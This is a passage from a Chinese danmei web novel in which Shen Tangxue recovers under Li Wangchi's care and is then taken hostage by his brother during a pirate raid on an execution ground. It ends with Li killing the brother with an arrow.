沈棠雪一愣,转眼望去,对上了紧随其后进屋的李妄迟的眼神。 李妄迟这些时日似是没有睡好,因着寸步不离地照看着他而眼下青黑,眼中有被强行掩藏起来的疲惫。 他缓缓垂眸看向他时,眼神微深,那一阵后怕与担忧似还未散去……倒凝成了一股浓浓的缱绻。 沈棠雪眨了眨眼,不自觉心头一软,伸出手来示意李妄迟靠近,倾身环住了他的脖颈。 他缓缓地直起身来半跪在床榻上,侧过头在李妄迟的唇角亲了一下,温柔地闭了闭眼,在他的耳边呢喃道: “谢谢你……妄迟。” 他有些轻缓的缱绻语调洒在李妄迟的耳边,好似柔软的一阵风,打在他的心上。 被他这般温柔的眼神定定望着的时候……被他这样放缓地亲了一下的时候…… 李妄迟不由得心神一动,微微一颤。 那日之后,沈棠雪似是学了乖,当真如苏砚白所说,不惹他生气。 那一双清泠泠的眼睛一眨一眨地看着他,还带着些乖觉的小心翼翼。 面对着喝药吃饭的需要,沈棠雪的眼神闪过一丝挣扎,行动因着虚弱有些迟缓,却还是终于没再抗拒。 李妄迟的心里软得一塌糊涂,看着他瓷白的小脸,忍不住伸出手来轻轻蹭了一下他的侧颊。 此时沈棠雪正低头吃饭,感受着侧颊传来的温热触感,微鼓着腮帮转过眼来, “做什么?” 他那眼神清亮,还带着温柔的笑意。一粒剔透的米粒蹭在唇边,又被他反应过来后伸出舌尖轻轻舔去。 李妄迟不答,别开脸去有些不敢看他。 他有些心神一动地将人抱到腿上,半晌倾身靠近,缓缓凑近在沈棠雪的侧颊亲了一下。 霎时二人距离很近,呼吸交缠之间,连鼻尖也紧紧相贴。 沈棠雪的面上浅浅地泛起红晕,眼尾氤氲起一阵薄红时,睁开眼看向他时,眸中水光潋滟。 李妄迟不由得眼神扬起带着细碎光芒的笑意,缓缓捏了捏他的指尖。 柔嫩的熟悉触感传来,让人缓缓安心,他轻轻环住沈棠雪干燥柔软的指腹,顺着手指往上滑去。 指尖微热,手指却冰凉,连带着如今瘦削得骨节分明的触感。 他一愣,似是想到了什么,眼神微不可察地黯淡下去。 好冰,好冷的手。 ……跟眼前人一样。 如今的沈棠雪瞧着实在明媚,叫人看不出大病初愈的模样,可是那一张小巧的脸蛋还没巴掌大,瘦削得明显。 尖尖的下巴微微扬起时,瓷白的小脸莹白得像在发光。 沈棠雪低垂着的眉眼睫羽微颤时,眼中微显疲惫,他耷拉起眼皮,倒有些我见犹怜的意味。 直至如此,他好似才真正又感觉到沈棠雪的脆弱情形。 像一碰即碎的瓷瓶,叫他不敢用力一分。 他不觉有些恍然,半晌,缓缓侧过头靠在沈棠雪的颈窝。 他的神情沉闷,贴着眼前人腰间的双手窸窣微动,像是丈量一般,缓缓移动。 那双手透过单薄的白衣抚摸过细瘦的腰肢,又缓缓往上环在沈棠雪的肋骨之上,顺着脊背缓缓向上,抓握住他的大臂。 腰间没什么肉……手臂没什么肉…… 当他顺着分明的上下起伏的锁骨缓缓抚摸上沈棠雪瘦削的面颊的时候…… 才当真觉着沈棠雪这一病,消瘦得实在有些过分。 他抬起眼来,隐隐约约带着控诉的幽幽眼神。 沈棠雪不觉有些心虚地别过眼去,抿着水润的唇瓣,无可辩驳。 他的的眼神游离,半晌喏喏地有些没什么说服力地道:“其实……我也没有这么脆弱。” 李妄迟不满地缓声道:“可是,真的瘦了好多。” 沈棠雪一愣,淡淡笑了,看着他的眼神无可奈何。 他的神情很无奈又很温柔,像是真的想要李妄迟放宽心,别把他想得这么弱。 对上李妄迟视线时,他仰起头来,小巧的下巴还带着一分倔强—— 却被李妄迟紧紧攥住了手。 沈棠雪缓慢地眨了眨眼,下一秒,便对上了李妄迟沉沉的眼神。 李妄迟缓缓凑近久违的带有些侵略性的呼吸喷在他的颈侧,沈棠雪怔了一瞬,霎时难得放空的脑袋什么也想不出。 只见李妄迟缓缓捧起他的脸颊,一脸正色地说: “你现在就是很需要人照顾。” 一时无言,只剩呼吸交缠,沈棠雪感觉自己的呼吸都放得轻缓。 大病初愈时被强压下的虚弱与酸涩又涌上心头,当他不自觉卸下力气怔怔地看向李妄迟时,看见李妄迟坚定又温柔地看向他时…… 这一刻,他好似才如同真正服软。 确实如李妄迟所说……他就是很需要人照顾。 他这些时日内里好似被掏空一般,丝毫提不起气力,没什么胃口。 只有在喝完药和被李妄迟缓缓抱紧的时候,好像才能真真切切地捕捉到一些气力的上涌。 感觉到自己活着…… 三个月了。 他不由得颤了颤眼睫,别开眼望向窗外的冬雪,有些恍然。 从草原到京城,从杜余草无路可解到如今重获新生。从前好似春去冬来,每一个白昼夜升于他眼中无甚不同。 而如今……不一样。 沈棠雪缓缓柔和下眼神,搭着李妄迟的手臂,看向窗外一片白茫茫的景象。 冬雪飘摇,萧瑟的风徐徐吹起枯叶,却又带着几分春将至。一切都被吹得白茫茫的,一切也皆被吹得虚无…… 他眼睫微颤,似是倏然想到什么,轻声转头问道: “三个月了……是不是也快到李锦殊行刑的日子了?” 李妄迟神情一僵,顿了一下。 他深深吸了一口气,没想到极力避开的事被他想起,不情不愿道:“是……” “阿雪,你如今的身子不适宜看那般血腥的场面,要不还是……别去吧?” 李锦殊是京城众人愤恨之人,那日定是一片腥风血雨,京城百姓齐聚。 他被挤着了怎么办?被李锦殊看见说一些胡话怎么办?他的身子又这么虚弱……怎么能见着这些? 可沈棠雪只是闭了闭眼,轻轻呼了一口气,坚定道:“我要去。” 他得亲眼看着李锦殊死,才能真正放下心。 在草原的每一日每一夜,他都想亲手手刃李锦殊,每一分每一秒都在心存恨意…… 如今李锦殊将至断头台,他怎能不去? 他要看着他的血泪洒刑场,看着他流出懊悔的泪,看着他目眦尽裂苦痛万分! 见着他这模样,李妄迟的眼中百感交集。 虽心中不愿,却也不想驳了他的主意,只是眼神中一阵黯然。 ……本就是心中的执念,散了也好。 他轻轻叹了口气,沉思了半晌,才叮嘱沈棠雪那日待在他的身后,随即摸了摸他的发顶,缓声道: “带你去。” 第42章 第四十二章“人终有一死……你们也是…… 光阴似箭,不过数日,行刑的日子便到了。 这一日,白雪皑皑,府外还下着飞雪。不至巳时,街道上便传来喧嚣不绝的人声。 沈棠雪正只身站于院中看梅,听着隐隐约约的声响,手上搭着白梅的动作顿了一顿。 他转身去屋内披了件厚衣裳、置了个暖炉便往外走去。 “终于等到李锦殊要被处死的消息了!真是大快人心啊!” “瞧瞧看——这些人都是在等他午时斩首的!真是痛快!” “我瞧着便不解气,凭什么他也随着他手下那些人一样,也是斩首?要我说——他就该被凌迟!” “就是!太便宜他了!” 一出府,人声鼎沸,无数声音灌入耳中。 沈棠雪正欲款步向前,闻言顿了一顿,垂下眸子不知在想些什么,缓缓蜷了蜷手指。 下一秒,便见道路尽头有一人直直向他走来。 那人带着一抹温和的浅笑,手上抱着一件巨大的黑色披风,轻声唤了一句, “阿雪。” 他只来得及抬起眼对上那人的视线,便被一件厚实的黑色披风由上至下从发顶盖了下来。 被捂得暖和的厚实披风将沈棠雪严严实实地包裹在其中,霎时陷入一片温暖。 他眨了眨眼动了动身形,从披风中露出个脑袋来抬眼去看,便对上李妄迟笑脸盈盈的眼神。 “方才在想什么呢?” 沈棠雪心尖微颤,不由得眼神柔和几分,缓缓从披风中移出手来勾住了他的手指, “没什么。” 今日飞雪大得纷扰,将昨日侍卫方扫的地面地面又覆盖上了一层柔软的松雪。 往来人群的脚印被深深浅浅地陷了下去,阳光洒落过来,融成了一个个晶莹的水洼。 二人并肩往前走时,只见无数人的视线齐聚在前方的断头台前。 断头台上有许多新血旧血,干涸着红四处凌乱着洒在台面上,又被一片一片飞雪掩埋。 而至午时,这里又要溅上让京城无数人深恶痛绝之人的血—— 李锦殊的血。 此时,天色愈发白茫茫,连太阳的转动都显得明晰,东升西落,随着众人的目光,午时渐近。 道路尽头缓缓驶来一辆囚车,吱呀吱呀地在雪地里闷闷地滚动。 那囚车被侍卫层层包围在其中,像一座密不透风的囚笼,又带着凌乱的松懈,叫百姓将车中人的狼狈模样收入眼底。 囚车才至远处,道路那头便有人赫然而怒, “李锦殊,你早就该死了!” “天道好轮回!这就是你的报应!” 到了近处,无数人声交叠,怒意更甚,已然夹杂了破音的咆哮,还隐隐有人从道路尽头追了过来。 一时扔菜叶、臭鸡蛋的,什么都有,像是要把不满全部发泄,一下一下砸得狠。 李锦殊被砸得别过脸去。 他的乌发凌乱,低垂着头的时候紧绷着下颌,没人能看见他的神情。 乌发掩盖之下眼神隐隐带着沉沉冷意,他的双手被铁链扣住,发出叮当的声响。 半晌,李锦殊冰冷地抬起眼睛环视一圈,对周遭的话语恍若无闻。 他眼神暗暗转动,却在发现了沈棠雪的身影时—— 挑了挑眉。 沈棠雪站在人群之中,被黑色披风包裹之时,显得他通红眼神中的恨意更为浓烈。 那一双漂亮的眼睛凝定着眼神,被周遭人心激愤的氛围晕染得眼尾泛起一片薄红,眼神眸光流转。 那般脆弱的身形执意要在风雪中站着的时候…… 倒像一朵摇摇欲坠的白梅。 ……真漂亮。 李锦殊那一双阴沉着的眼升起一阵浓烈的炙热,隐隐勾起一抹笑意,不知道在盘算着什么。 随着囚车离刑场越来越近,周遭的气氛更加浓烈。 有人嘶吼着要他去死。对他咒骂的、愤恨的,无数恶语喷涌而出,几乎要将囚车淹没。 直至此时,他好似才动容一下,缓缓转过眼来。 李锦殊的眼神闪过一丝阴狠,升起一种诡异的戏谑,身子缓缓放松下来,气定神闲地看着周遭的每一个人。 他微微颔了颔首,轻笑道:“人终有一死,有什么奇怪?” “……你们也是。” 随着沉沉的话音落下,下一秒,周遭天地骤变,人潮汹涌的街道骤然变换! 只听无数脚步声靠近,无数双眼睛紧紧盯着此地,宛如被一片巨大的乌云团团围住,压抑得人喘不过气来! “这是什么!” “什么声音?” 百姓骤然恐慌喧闹,不知多久,才终于看清周遭围着的不是乌云,而是—— 无数个人! “嗖——嗖嗖嗖!” 四面突然响起箭矢破空声,霎时利箭齐发,本该平和安静的远处齐齐冒出很多人影,叫人望而生骇! 树上……屋顶上…… 此时,没有人需要提醒,便都明白了一点——这些人是来劫刑场的! “唰拉!” 随着箭矢齐刷刷地呼啸而下,密密麻麻的箭矢齐齐地洒在地上,不知道射中了谁,不知道流了谁的血,场面一片混乱! 下一秒,只见一根箭矢直直向着沈棠雪射去! 李妄迟感觉自己心脏停跳了一秒,目眦尽裂,猛地扑身过去将他推开, “躲开!” 重重的衣物摩擦声响起,二人闷哼一声,齐滚落在空地,那一支本该射中的锐利箭矢直直地刺入地面,入木三分! “嗡——!” 听着箭矢的嗡鸣颤动,李妄迟粗喘着呼吸,感觉心脏被紧紧地揪住,不得松解一分。 他颤抖着身体有些后怕地将沈棠雪用披风裹着护住,紧张地攥住他的手。 听着后面的嘶吼声响,李妄迟闭了闭眼,额上冒了一滴冷汗, “……我去看看。” “别去!” 沈棠雪猛地抓住他的手,厉声喝道,越过李妄迟的肩膀,看向了街道正中无数百姓东奔西逃、尖叫着推搡躲藏的情状。 场面一片混乱,四周守着的侍卫拿起刀剑直直地守在百姓面前,试图维持情况,却是徒劳,没有一个人听。 百姓一个个被箭矢射中,侍卫一个个冲了上去,同靠近劫刑场之人扭打起来—— 一时刀剑铿锵交戈声不断,藏匿在房屋四周的弓箭手也逐渐露出身形! 沈棠雪眼神一凛,微眯起眼睛分辨着屋顶上躲着的人,便见李妄迟锐利着眼神,语气发沉地道: “是倭寇。” 这些劫刑场之人身形模样与中原人截然不同,体型也相差极大,举手投足粗鲁之意尽显。 但他们行事规则训练有序,不慌不忙……明摆着是有所预谋! 沈棠雪冷静着语气接过话去,“是藏匿在幽瑶镇和灵犀镇的倭寇,如今只有他们会帮李锦殊。” “而且李锦殊入狱之后并无机会接触外界,更别提远在千里之外的倭寇。恐怕他唯一的机会便是尚在草原知晓自己即将弹尽粮绝之时……” “他早想到这一日了!” 李妄迟喉头一紧,感觉脑海中一直环住的迷雾倏然解开,迟迟想不明白的谜题游刃而解…… 一切都串了起来! 先前在牢房,他以为李锦殊气定神闲地在壁面算着日子是为了算沈棠雪的死期,要以解药来换出狱的机会。 如今看来,恐怕他也是在算被狱卒带出去的期限! 上断头台的这一日不是他赴死之日,而是他的求生之日! 此事环环相扣,以李锦殊当时神情自若毫不恐慌的模样,恐怕早知晓有此日。 如若之前答应放他走,那才当真如沈棠雪所说,是中了他的计谋,以李锦殊的手段,恐怕当时便会被倭寇接走,如今还得警惕着他卷土重来! 想到此,李妄迟顿时也有点后怕。他的眉间紧蹙,对着街道上狼狈景象时,眼中是阴沉的冰冷。 直至如今…… 那日在牢房中沈棠雪同他说的“李锦殊不止有杜余草解药”一事他记在心里,也因此提了醒,此番早有准备…… 只待时机。 他的眼里闪过计谋盘算的锐利与思索,深深呼了一口气,转眼看了一眼沈棠雪,安抚地说: “无事,我有准备。” “什么准备?” 沈棠雪听他这般说,放松下一分,却还是想先问个明白,但话还未问出口,便听骤然街道上人群骚乱起来! 他猛地转过头去,只见不知何时,街道小巷之中又窜出许多倭寇,将街道团团围住。 霎时,倭寇的数目增多,要比侍卫多上许多! 他们恐怕是全数出动! 沈棠雪眉头蹙起,看着那些人时抿了抿唇,不由得升起一丝紧张之意。 幽瑶镇和灵犀镇三面环山一面环海,又与李锦殊合作,如今除却中原,再无其他威胁。 这一击若赢了,京城恐慌,元气大伤,他们将能再次卷土重来,东山再起…… 这般一本万利之事,他们恐怕为此蓄谋已久了! 思绪之间,那些人行动有序,拿着刀剑挤入人群之中。百姓骤然被引起恐慌,四处乱窜! 沈棠雪的额上冷汗直冒,正欲转头跟李妄迟商讨具体事宜,却见不过一瞬,李妄迟没了踪影! 走散了…… 今日太拥挤太混乱,百姓穿着的不同颜色的衣物、四面乱窜的人群、侍卫刀戈声与冷喝声、倭寇箭矢声…… 沈棠雪转眼环视一圈,心脏怦怦直跳,指尖紧张得蜷起。 他不知李妄迟的准备是什么,也不知他下一步的行动。如今一片狼藉,他该怎么做?往哪里走? 沈棠雪深深地呼了两息,将急切又怦然的思绪压了下去,平静着眼神转眼望去—— 突然眼神凝定,望住了那断头台旁被押送的囚车。 今日应是李锦殊的死期,囚车本就是重中之重,无人敢出差错—— 因此囚车周遭围了一群精锐侍卫,如今同聚集而来的倭寇刀剑交戈声打得有来有回! 望着远处的刀光剑影,沈棠雪的心被紧张得揪紧了。他生怕李锦殊当真跑走,功亏一篑,冷汗直冒,那一双眼紧紧盯着—— 指腹缓缓挪动,靠近了腰间因着担忧今日出状况而带着的轻剑。 “咔嚓。” 道路尽头,囚车上人影手上的铁链钥匙被打开,李锦殊当真被放了出来,款款往外走。 沈棠雪死死地盯着他,正欲冲上前去,便见李锦殊缓缓转眼看来。 见着他警惕地又似要杀了他的眼神,李锦殊一面悠悠然一面笑着, “怎么,舍不得我?” “阿雪,那不如跟我一起走吧?” 伴随着那双恶意又带着笑意的瞳孔,沈棠雪感知到了什么。他骤然一顿,环视之中浑身僵硬地警惕往后退去…… 下一秒,便见街道之中许多倭寇定定地转过眼神,幽幽地看着他,半晌朝他冲来! “唰拉!” 沈棠雪急急后撤,猛地将利剑出鞘挡在身前,便见无数人群涌来,无数尖锐刀剑在他眼前,愈发逼近! 这些人似乎没有想杀他的意思,剑法放软几分,反倒是以擒拿之术为主。 沈棠雪眼神一凛,利落躲开,手上一柄轻剑随着身体躲闪的动作挽了个漂亮的剑花,随即毫不留情地往前刺去! “唰拉!” 轻剑刺进身前人的胸膛,又被利落抽出,沈棠雪眼神冷峻,将轻剑握得紧。 他感受着逐渐颤抖的腕间和苍白的脸色,眼神虚浮了一瞬,又暗暗凝定了心神。 周围没有人可以帮他。 刀剑在无数人面前,一不留神就会死,甚至没人敢动弹一分,更别说救谁。 他也没想害谁。 脚步逐渐后退,面前倭寇的攻势应对得逐渐吃力。沈棠雪咬了咬牙,指甲嵌入皮肉,又一阵一阵提起神来地给自己续上气力。 为了顾及周遭乱窜的百姓,他甚至留了一分神,没有肆意下死手,结果却被人从后面推搡一下! 沈棠雪瞳孔紧缩,刹那间攻势断了,他猛地被迫往前踉跄一瞬—— 却被一只人手按住。 他抬起头来,看见了一个熟悉的人脸—— 沈从陵。 第43章 第四十三章“李妄迟,放箭!”…… 沈棠雪还未开口说什么,便觉被一只手强硬地摁着肩膀禁锢在原地。 随即一柄长剑猛地架在了他的脖子上,剑身发出重重的嗡鸣! “嗡——” 沈从陵熟悉的气息盘旋在身侧,颤动着响在他的耳边…… 沈棠雪并不觉着意外。 他们二人在草原待了这么多年,沈从陵也并不认识其他人,以他的警惕和自傲,不会去李妄迟管辖的地方。 而距离草原很近的小镇只有幽瑶镇和灵溪镇…… 和倭寇同流合污确实是他最好的选择。 沈棠雪闭了闭眼。在被唯一的血亲兄长用利剑架着、遏制住身形的时候…… 他以为自己依旧会心绪波动。 但他发现自己如今除了心上微沉,隐隐一揪,便再无其他感觉了。 他早不对沈从陵再抱什么希望了。 这样自私利己的人……这样一次次往他心上刺这么多刀的人…… 能再回头对他好一点才是奇迹。 沈棠雪缓缓睁开眼,眼神中泛着冷意,心中漠然,微微撩起眼皮往后侧看他。 对上了沈从陵那一双与他相似却又端得极为冷淡又藏着厌恶的眼神。 那一双眼丝毫不掩藏,像曾经的每一日那样对他厌恶又嘲讽。 但此时生机还在沈从陵手上,如今四面楚歌,无处躲藏,李妄迟也不知在何处…… 他暗自自嘲嗤笑一声,忍住恶心佯装出一副茫然模样,试图拖延一些时间, “哥?你这是何意……” 却被沈从陵毫不留情地打断了话语,“不必跟我再装了。” 沈棠雪眼神一凛,收敛了神情,没有接话。 沈从陵讥讽地嗤笑道:“我不信你还没想明白,也不信在无数倭寇围着你、我拿剑架着你的时候,你还奢望我会救你——” 话音未落,便见沈棠雪倏然暴起,身形一动,去夺他的剑! 沈棠雪的右臂下绕,以一个极刁钻的角度猛地去抓住沈从陵的小臂,狠狠地往外一扭,将他的剑往外别去! “唰拉!” 两股力量对撞之时,沈从陵似乎早便警惕着他,大臂一提,猛地抓紧了剑身,不自觉往右上方猛地扯了一下—— 霎时,剑身在沈棠雪的脖颈划出一道细长的血痕! 伤口中血液喷涌而出,滴答滴答地流淌。 沈棠雪那一双漂亮的清泠泠眼神缓缓凝定,像对着脖颈上的痛楚恍若无觉。 他苍白的指尖缓缓往上挪动,只一味地紧紧扣住沈从陵的手! 指甲嵌入皮肉,双掌气力对峙之时,他的手指青筋暴起,显得分毫不让。 沈棠雪的指腹用力得颤抖,哪怕剑在颈边也不惧,疯狂得如同破釜沉舟! 刹那间,剑身在拉扯之中被猛地一划—— 在沈从陵的肩头划了一道深至见骨的血痕! “嗡!” 霎时血腥味蔓延在二人之中,滴答滴答的鲜血一并滴落,雪地上滚落出一个个暗红的血痕,显得格外狰狞刺眼。 感受着肩头的疼痛,沈从陵气笑得轻呵一声,无数怒意裹挟在冷喝之中,几乎汹涌, “你要跟我同归于尽?真是不怕死啊——还是跟以前一样倔!” 沈棠雪冰冷着眼神望去,却又见他露出一个诡异又势在必得的笑容, “但你看看谁在前面……你舍得吗?” 沈棠雪眉头一蹙,眼底还有肆意的疯狂,冷冷地顺着他的话往前望去—— 却对上了李妄迟站在层顶上的视线。 四面高大的房屋顶上不知何时也同样站满了人,一眼望去,层层叠叠的弓箭手与对面倭寇带来的弓箭手形成对峙之势,甚至阵势比他们更大。 街道四周传来渐近的无数道马蹄疾走的声响,霎时,倭寇被四面八方聚来的侍卫层层围住! 退路被封锁,计划被打乱,攻势被压制,四面楚歌—— 一副将其一网打尽的形势。 “妈的,他们有埋伏!” “他们有一群人守在我们回镇的必经之路,头儿,如今后路都被堵住了,我们怎么走!” 霎时,方才还占据上风的倭寇顿时人心惶惶。他们心惊胆战,连连怒骂,骤然一阵狭小急促的恐惧蔓延在人群之中。 有人踱步,一阵阵细碎的脚步声如鼓点闷闷地沉在雪地里,叫人心中一阵烦躁。 沈从陵看不起这些人,强忍着的怒意迸发而出,喝道: “一群窝囊废,怕什么!沈棠雪在我手上,李妄迟不敢放箭!” 此话一出,顿时叫人群中的倭寇醍醐灌顶。 倭寇放松下来,好像握着必胜的筹码,顿时又愉悦地哄笑一处, “是啊,咱们‘陛下’爱得死去活来的人在我们手上,肯定不舍得放箭!” “瞧瞧这架势——当真停住了!快点让他们都滚,放我们走!” 层顶之上,李妄迟看着沈棠雪被擒擒在人群正中的模样几乎目眦尽裂,对着他们几乎猜中的言语也无可辩驳。 沈棠雪在他们手里,他哪里敢再动一下。 一时间,那些弓箭手、侍卫整装待发,却如同空气凝住一般毫无动作。 气氛汹涌,暗流涌动。 霎时,四面无数双眼睛齐刷刷地望来,将沈棠雪瞩目着。 身处人群之中的沈棠雪闭了闭眼,面上不显,一副毫无波澜的平和模样,攥着的指尖却开始不自觉地颤动。 心中如鼓点一般咚咚咚跳得快。 他想活,但如若放他们走……将是永远悬在所有人心中的剑。 倭寇与李锦殊本就是众人心中所恨,叫人恐慌担忧,如若卷土重来,届时生灵涂炭,百姓不宁…… 曾经的痛恨重蹈覆辙…… 这么多条命换他的命,不值得。 沈棠雪的眼睛缓缓睁开,眼神凝定,抬起头来语气坚定道: “李妄迟,放箭!” “阿雪——!” 层顶上的李妄迟似是嘶吼地喊了他一声,随即沈棠雪听见身后沈从陵被涌上心头的怒意吞噬,目眦尽裂地咆哮道: “你敢!” “如若射箭,我一定带你一起死!” 沈从陵的语气夹杂着几乎凝如实质的恐慌,又化作孤注一掷的疯狂! 他是人群正中擒着沈棠雪的人,如若射箭,他定是第一个死的人……李妄迟不会放过他! 但他的剑身抵着沈棠雪的脖颈,他若死了……沈棠雪也别想活着! 他不想死! 感知到身后人的情绪,沈棠雪没有动容一分,眼神沉沉,轻呵一声,撩起眼皮冰冷地侧看沈从陵一眼,缓缓道: “你可以……试试。” 沈棠雪端得气定神闲,毫不在意,层顶上的李妄迟却听着他坚定的话语几乎崩溃。 他站在层顶之上,看着二人对峙,双手大幅度地颤抖着,几乎失语。 他的爱人正只身被擒住,四面楚歌之时,此时最近的侍卫也只能堪堪靠近沈从陵。 如若要从沈从陵手上将沈棠雪夺下来…… 也只有一道利箭将沈从陵杀了这么一个法子。 可是二人的身形几乎重叠在一处,利箭飞驰之时,难保沈从陵不会拿沈棠雪去挡! 如若伤到的是沈棠雪怎么办?如若沈从陵惊慌之时将利剑刺向沈棠雪怎么办? 可是别无他法了。 阿雪…… 李妄迟踉跄着身形,却不敢把唯一的机会假手于人。他闭上眼狠狠地咽了口唾沫,颤抖着手让人拿弓来。 他的双手抖动得厉害,生怕一不留神就将箭矢射中自己的爱人,恐惧盘旋在心头,几乎让他眼前一黑,将他吞噬。 弓箭在他面前好像变得很重,他努力地握紧,却几乎要提不起来。 但眼前情况紧急,他不能耽搁很久,不能犹豫很久…… 他必须得做出选择。 ……沈棠雪,还在他们手上。 李妄迟闭了闭眼,深深吐出了一口气,霎时心中凝着一股气,几乎要将脑海中繁闹的杂念全数脱开—— 他的眼神缓缓凝定,抬起手拉满弓弦之时,视线宛若逐渐聚焦。 层楼之下两个人影变成了两个格外清晰的影子,在他的脑海缓缓分隔开来。 紧接着手一松—— “嗖!” 第44章 第四十四章箭矢刺中的是……沈从陵。…… 刹那,锐利的箭矢飞悬在空中,凌厉地刺破虚空,穿过无数气息,向着人群正中的二人直直得刺去! 尖锐的冷光在阳光下闪烁,定定地倒映在沈从陵的瞳孔之中—— “嗡——” 沈从陵瞳孔紧缩,身体僵直,只觉自己好似一个活靶子,站在街道正中,无数人屏息看着他,叫他浑身战栗! 李妄迟不是爱沈棠雪入骨么?为何会听他的话,当真射出这一箭? 他不怕射中的是沈棠雪?! 箭矢愈发逼近,沈从陵无力再想许多,他的脑子嗡嗡直响,一股死亡逼近的恐惧叫他头皮发麻…… 他从未想过自己如死亡会这般近! 如果李妄迟当真射中他了怎么办?他不想死……他不想死! 霎时无数情绪上涌的那一瞬,无边恐惧与怒意蔓延,沈从陵缓缓僵硬地转过眼,看向面前的人。 这一切的罪魁祸首在他手中。 如若不是沈棠雪,曾经草原那些人不会死,李锦殊不会入狱……他也不会被迫奔逃! 一切都不是这副模样,他如今也不会处于生死之间…… 都是因为他! 沈从陵的嗓子中挤出颤抖的带着怒意与恐惧交叠的声响,颤抖着的粗喘气息喷在沈棠雪颈后。 他紧紧地摁住沈棠雪的肩头,禁锢住他的动作,疯魔一般咬着牙神神叨叨道: “我拉着你一起死……你也得死!” 他握着剑的手青筋暴起,不住地颤抖,却又如握着一线渺茫的生机一般维持着动作—— 剑身依旧不受控制地擦过沈棠雪的颈侧。 雪白的脖颈丝丝地冒出血痕,一阵一阵汹涌的疼痛蔓延脑海。 沈棠雪感受着身后的人几乎崩溃般的颤抖,却凝定着眼神,没有动作。 他对此恍若无觉,只是定定地看着层顶上的人,指尖带着些细微的颤抖…… 但是没有动。 他相信李妄迟可以射准,李妄迟可以预判,李妄迟可以…… 他闭了闭眼,额上冒了一滴冷汗,强忍下自己的颤抖。 对于即将到来的锐利箭矢他没有把握,毕竟谁也不能说自己的箭术精湛到百发百中…… 哪怕他再相信李妄迟,也不行。 但……就算是死在他手上,也好过再被掳走。 思绪之间,耳边似有扑面而来的箭矢破空声响,眼前冷光愈发逼近,沈棠雪心如鼓点一般怦怦直跳。 他正焦灼着又期盼着,下一秒却倏然感觉肩头一沉,猛地被人摁着肩头扭转了身形,踉跄了两步! “唰拉——” 沈棠雪瞳孔紧缩地睁开眼,霎时便见箭矢定定地向着他奔来—— 沈从陵拉着他的身形将他挡在了面前! 他顿时面色惨白毫无血色。倘若说方才还有一丝希望,如今便是几乎为定数! 他的身子不可控制地战栗,心紧紧地沉了下去。 面对着死亡逼近,那一双盈盈的眼睛不可控制地流出泪水来。 耳边嗡嗡声愈来愈响,冰冷尖锐的冷光逼近眼前,直直刺向面门—— 沈棠雪猛地有些认命地闭上了眼—— 却见下一秒这箭矢擦过他的肩头,直直刺向了身后禁锢着他的人! “扑哧!” 他猛地瞳孔睁大,颤抖的箭杆如同慢动作一般擦过眼侧,刺中物什的嗡鸣声重重地响彻在他的耳边—— 禁锢着他肩头的手倏然一松,带着无可避免的失力。 箭矢刺中的是……沈从陵。 霎那间,背后的人一滴滴鲜血流下,滴滴答答地落在他的肩头。 一阵控制不住蔓延的血腥味弥漫在鼻尖,让人几乎窒息。 滴答…… 滴答滴答滴答。 沈棠雪的心被紧紧揪着,又控制不住地松了一口气,身子几乎瘫软下去。 下一秒却如有所感应一般心中咯噔一声,身子一僵。 身后的人如同回光返照一般……贴着他脖颈的剑身猛地嗡鸣颤抖,从他的颈间擦过! “唰拉!” 霎时温热的鲜血喷痛,沈棠雪的脑子嗡了一声,感觉一阵几乎要穿破天灵盖的痛楚涌上脑海! 滴答……滴答滴答滴答! 鲜血如柱,顺着脖颈如蜿蜒的蛇流入衣襟,他不住地蜷起指尖,身形一晃,瞳孔涣散。 他的嗓子好似被刺破一般说不出话来,听着身后人扑通一声仰头倒了下去,沈棠雪觉着自己好似也已然气若游丝……只剩一口气了。 “嘭!” 气息颤抖之时,沈棠雪一下一下地涣散着眸子,猛地跪坐下去—— 紧接着似是被人搭着手臂接住了。 那人身穿冰冷盔甲,将他背着护着,紧接着又有几人涌了上来,将他护在其中。 一时间耳边有急急的惊呼声和刀剑交戈声,还有脚步急促前进声。 沈棠雪浑浑噩噩的,恍惚之间好似靠着贴在谁的背上。他微微涣散着瞳孔环视一圈,却觉着思绪更加混沌。 耳朵里好似堵了个棉花,听不分明,四面对他来说如同灌了水,灰暗阴沉一片…… 只他一人被浸入这冰冷之中。 到达李妄迟身边时,已然不知何时了。 思绪之中,似乎有人轻轻将他揽入怀中抱着,急急惊呼。 “阿雪……阿雪!” 沈棠雪轻轻呼吸着,微微睁开眼来,却只能模糊着眼神看见一点点。 “太医——快点传太医!” 听着李妄迟焦急的声音,沈棠雪闭了闭眼,颤抖地张开唇,虚弱地攥住他的衣襟。 “妄……迟。让我……” 可声音发不出去。 启唇之时,他脖颈上缓缓凝了一瞬的伤口却又似迸发开裂,不住的苦楚将他的声音严丝合缝地堵在嗓间。 鲜红的血液就这样一滴一滴地落在李妄迟的衣襟。 滴答滴答。 又落到地上凝成一片流动细小的血洼。 纵使如此,沈棠雪却好似执着一般,苍白着脸色缓缓按住脖颈上的伤口,吃力地直起身来。 他挣脱李妄迟的怀抱,踉跄着身形定定站立,随即摇晃着身形自顾自往层顶旁边走去。 被手捂着的脖颈上的伤口,血液顺着指缝流下,滴落在地面上如同一条蜿蜒小径。 沈棠雪走至层顶旁边时,不知还有多少力气,只是强撑着站着—— 看到了沈从陵的惨状。 那样骄傲又那样卑鄙,那样自私又那样可恨的人,就这样躺在方才倒下的地面上…… 无人看他一眼,无人再施舍他一个眼神。 箭矢深至见骨地刺入沈从陵的右眼,他死不瞑目,看着刚刚箭矢来的方向—— 是沈棠雪现在站着的方向。 他与沈从陵的尸体对视了。 “阿雪……” 李妄迟身形一震,似是怕他心绪牵动,小心翼翼地往前走来,紧张地靠近。 但背对着他的沈棠雪已然神情漠然,看不出一丝情感波动了。 沈棠雪就这样定定地站在层顶之上,沉沉着眼神环视一圈,那一双漂亮的清冽眼睛泛着几乎要将人如坠地狱的冷意。 半晌,他朱唇轻启,从已然说不出话的嗓子里挤出微不可闻却坚定的颤抖气音, “……杀了他们。” 第45章 第四十五章他会杀了李锦殊。 街道上人群密密麻麻,一时气氛凝重,战火一触即发。 层顶上的沈棠雪的手紧紧攥着,指甲嵌入皮肉,几乎支撑不住,却又凝定着看着前方。 “阿雪。” 沈棠雪的身子微僵了一瞬,缓缓转头颤颤地看了他一下,那一双泛着水光的瞳孔微微涣散。 随后在即将失去意识之前,被李妄迟揽入怀中。 李妄迟闷声将他沉默地抱起,抬手揽着他的后脑勺,让他轻靠在自己怀里。 深深地吸了一口气。 